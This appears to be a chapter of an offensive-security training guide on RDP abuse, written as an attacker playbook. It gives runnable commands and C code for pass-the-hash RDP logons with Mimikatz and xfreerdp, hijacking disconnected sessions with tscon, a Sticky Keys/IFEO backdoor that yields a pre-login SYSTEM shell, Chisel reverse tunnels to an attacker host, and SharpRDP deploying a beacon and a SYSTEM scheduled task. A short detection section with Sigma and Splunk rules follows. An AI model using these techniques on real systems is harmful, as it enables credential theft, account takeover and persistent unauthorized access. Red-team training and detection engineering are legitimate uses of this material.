Chapter 122

RDP and Remote Desktop Abuse

Lateral movement via RDP: Pass-the-Hash with restricted admin mode, RDP session hijacking via tscon, sticky keys backdoor persistence, RDP tunneling through SSH/SOCKS, and SharpRDP for silent keystrokes

Scenario

During discovery you find a Windows Server 2019 box running RDP with Restricted Admin Mode enabled. You have the local administrator's NTLM hash from a previous LSASS dump. Restricted Admin Mode allows RDP authentication using just the hash — no cleartext password needed. You use mstsc /restrictedadmin with a pass-the-hash approach via Mimikatz's sekurlsa::pth, land an interactive desktop session, and discover a second admin account logged in as a disconnected RDP session. Using tscon from a SYSTEM shell, you silently hijack that session without a password and gain access to that user's running applications and credentials.

RDP Attack Surface

RDP (Remote Desktop Protocol) — attack angles: 1. Credential-based access: - Password spray / brute force (standard creds) - Pass-the-Hash via Restricted Admin Mode (admin NTLM hash → RDP session) - Pass-the-Ticket via Kerberos (TGT → RDP without password) - CVE-based auth bypass (BlueKeep/DejaBlue for unpatched systems) 2. Post-access abuse: - Session hijacking: take over disconnected sessions (tscon, SYSTEM required) - Sticky Keys backdoor: replace accessibility binary with cmd.exe (pre-auth execution) - Credential harvesting from RDP sessions (keylogger, clipboard) 3. Protocol abuse: - RDP tunneling: forward RDP through SSH tunnel, SOCKS proxy, or HTTP tunnel - RDP over Tor (not common, high latency) - SharpRDP: send keystrokes/commands without GUI (scriptable RDP) 4. NLA considerations: - Network Level Authentication (NLA) requires valid credentials BEFORE connecting - Without NLA: old protocols show login screen to unauthenticated users (pre-auth surface) - BlueKeep (CVE-2019-0708) affects pre-NLA RDP on Win7/2008R2 — full RCE unauthenticated

Pass-the-Hash via Restricted Admin Mode

# Restricted Admin Mode: RDP with NTLM hash — no plaintext password needed
# Requires: target has RestrictedAdminMode enabled (registry key)
# And caller has local admin access (using the hash)

# Check if Restricted Admin Mode is enabled on target:
reg query \\TARGET01\HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin
# 0x0 = enabled (good for attacker)

# Enable it on target (if you have RCE):
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f

# Mimikatz: inject hash into a new logon session, launch mstsc with Restricted Admin
mimikatz# sekurlsa::pth /user:administrator /domain:corp.local /ntlm:fc525c96... /run:"mstsc /restrictedadmin /v:TARGET01"

# xfreerdp from Linux — Pass-the-Hash (requires restricted admin mode on target):
xfreerdp /u:administrator /pth:fc525c9673cfc2a1c2c48ff13fdbe6d1 /v:TARGET01 /cert-ignore

# Kerberos Pass-the-Ticket RDP (use TGT directly):
# 1. Get TGT (Rubeus, steal, or generate)
# 2. Inject into memory: Rubeus ptt /ticket:base64ticket
# 3. RDP normally using Kerberos (mstsc should pick up the ticket)

# impacket rdp_check.py — verify RDP credentials:
rdp_check.py 'corp.local/administrator:Password1!@TARGET01'

RDP Session Hijacking (tscon)

# RDP session hijack — steal a disconnected user's session without their password
# Requirements: SYSTEM privileges on the target host
# Why it works: SYSTEM can call tscon (Terminal Server Connect) to any session
# without requiring the session's credentials

# Step 1: List active and disconnected sessions
query user /server:TARGET01
# Output:
# USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
# administrator         rdp-tcp#3          2   Active  00:02      9/13 08:00
# jdoe                  console            3   Disc    1:45       9/12 20:00  ← disconnected

# Step 2: Elevate to SYSTEM (from local admin)
# Use PsExec as SYSTEM, or from a SYSTEM shell via service/token impersonation
PsExec64.exe -s cmd.exe  # now running as SYSTEM

# Step 3: Hijack session 3 (jdoe's disconnected RDP session)
tscon 3 /dest:rdp-tcp#3
# This transfers session 3 (jdoe) to your current RDP connection
# You are now in jdoe's desktop session
# jdoe's applications, credentials, clipboard are now yours
# No password required — SYSTEM can move sessions freely

# Programmatic version (C):
// Hijack RDP session via WTSConnectSession (requires SYSTEM)
#include <wtsapi32.h>
#pragma comment(lib, "wtsapi32.lib")

BOOL HijackRDPSession(DWORD targetSessionId) {
    // Must be SYSTEM — elevate via token manipulation first
    DWORD activeSession = WTSGetActiveConsoleSessionId();

    // Connect target session to current session
    BOOL ok = WTSConnectSession(targetSessionId, activeSession, L"", FALSE);
    if (!ok) {
        wprintf(L"[-] WTSConnectSession failed: %lu\n", GetLastError());
    }
    return ok;
    // Caller is now in targetSession's desktop context
    // All processes, credentials, clipboard from that session are accessible
}

Sticky Keys Backdoor (Pre-Auth RDP Execution)

# Sticky Keys (Shift x5) triggers C:\Windows\System32\sethc.exe at login screen
# Replace sethc.exe with cmd.exe → press Shift 5 times at RDP login → SYSTEM shell
# Classic technique, heavily flagged by modern EDRs on sethc.exe modification
# Variants: Utilman.exe (Windows+U), osk.exe, narrator.exe, magnify.exe

# Method 1: Direct replacement (requires SYSTEM or TrustedInstaller for protected files)
takeown /f C:\Windows\System32\sethc.exe
icacls C:\Windows\System32\sethc.exe /grant administrators:F
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

# Method 2: Registry debugger hijack (doesn't touch sethc.exe binary)
# Add Image File Execution Options debugger — runs cmd.exe as sethc.exe's debugger
# No file modification needed
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" ^
    /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f

# To activate: connect to RDP, at login screen press Shift 5 times
# A SYSTEM cmd.exe appears without authentication
# Works even if WinRM/SMB is blocked — only needs TCP/3389

# Cleanup: remove the registry key
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f

# Detection: HKLM\...\Image File Execution Options\* — Debugger set on accessibility binaries
# is a well-known persistence/backdoor indicator

RDP Tunneling

# Scenario: target RDP is not directly reachable — route through compromised host

# Method 1: SSH port forward (via compromised Linux host)
ssh -L 13389:TARGET01:3389 pivot@PIVOT_HOST
mstsc /v:127.0.0.1:13389

# Method 2: Chisel (HTTP tunnel) — forward RDP through HTTP
# On attacker:
chisel server -p 8080 --reverse
# On compromised host (runs chisel client):
chisel client http://attacker:8080 R:13389:TARGET01:3389
# Now connect: mstsc /v:attacker:13389

# Method 3: Via SOCKS5 proxy on compromised host + proxychains
# Compromised host runs: sshd (or plink, or chisel)
proxychains mstsc /v:TARGET01  # (doesn't work natively with mstsc)
# Use xfreerdp which supports SOCKS proxy:
xfreerdp /proxy:socks5://127.0.0.1:1080 /v:TARGET01 /u:admin /p:pass

# Method 4: Cobalt Strike / Sliver built-in SOCKS proxy
# Team server proxies RDP through the beacon's connection
rportfwd 13389 TARGET01 3389  # CS: bind 13389 on teamserver, forward to target:3389

SharpRDP — Silent Scriptable RDP

# SharpRDP: execute commands on RDP-accessible hosts without GUI interaction
# Sends keystrokes via RDP protocol to run a command (no shell visible to user)
# Useful: target allows RDP but not WMI/PSRemoting/SMB

SharpRDP.exe computername=TARGET01 username=corp\admin password=Password1! command="C:\Windows\Temp\beacon.exe"

# How it works:
# 1. Connects via RDP (uses FreeRDP .NET bindings)
# 2. After authentication, injects keystrokes: Win+R → cmd.exe → 
# 3. Session briefly becomes active, command runs, session disconnects
# 4. Target user (if watching) may notice a brief screen flash

# Variant: execute via task scheduler (no visible window)
SharpRDP.exe computername=TARGET01 username=admin password=pass \
    command="schtasks /create /tn update /sc once /st 00:00 /tr C:\tmp\beacon.exe /ru SYSTEM /f"

# Detection: RDP logon (Event 4624 Type 10) followed by very brief session
# (connected < 5 seconds) with no typical user applications launched

Detection Engineering

-- RDP lateral movement detection

-- 1. Event 4624 LogonType=10 (Remote Interactive / RDP)
--    from unexpected source → destination
-- 2. tscon execution (session hijacking)
-- 3. Image File Execution Options debugger on accessibility binaries
-- 4. Restricted Admin Mode RDP (LogonType=3 from mstsc — no interactive session)

-- Sigma: Session hijacking via tscon
title: RDP Session Hijacking via tscon
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\tscon.exe'
    User|contains: 'SYSTEM'
  condition: selection
level: high

-- Sigma: Sticky Keys / Accessibility Tool Debugger Backdoor
title: Accessibility Tool Debugger Hijack (Sticky Keys Backdoor)
logsource:
  product: windows
  category: registry_set
detection:
  selection:
    TargetObject|contains: '\Image File Execution Options\'
    TargetObject|endswith:
      - '\sethc.exe\Debugger'
      - '\utilman.exe\Debugger'
      - '\osk.exe\Debugger'
      - '\narrator.exe\Debugger'
      - '\magnify.exe\Debugger'
  condition: selection
level: critical

-- Splunk: Detect Pass-the-Hash RDP (Restricted Admin logon appears as Type 3, not Type 10)
index=wineventlog source=Security EventCode=4624
| where LogonType==3 AND AuthenticationPackage=="NTLM"
| where ProcessName LIKE "%mstsc%"
| stats count by AccountName, WorkstationName, IpAddress
| where count > 3

Q&A

What is Restricted Admin Mode for RDP and why does it allow Pass-the-Hash?

Normally, when you authenticate via RDP, your cleartext credentials (or a Kerberos TGT derived from them) are sent to the target host and stored in memory there. This allows the remote session to access further network resources using your identity — but it also means your credentials sit in LSASS on the target. Restricted Admin Mode, introduced in Windows 8.1/2012 R2, changes how the RDP logon works: instead of sending credentials to the target, the connection authenticates as the machine account or using the NTLM hash, and creates a logon session with no network credentials stored on the remote host. From an administrator's perspective, this prevents credential theft from the target: your cleartext credentials never land on the remote server. From an attacker's perspective, it enables Pass-the-Hash for RDP: because the authentication uses the NTLM challenge-response (which requires only the hash, not the password), having the NTLM hash is sufficient to open an RDP session. Tools like xfreerdp with /pth: flag, or Mimikatz's sekurlsa::pth launching mstsc with /restrictedadmin, exploit this. The feature must be enabled on the target (DisableRestrictedAdmin registry value = 0). It's commonly enabled in environments following Microsoft's Admin Tier isolation guidelines, ironically making those security-conscious environments more susceptible to hash-based RDP attacks.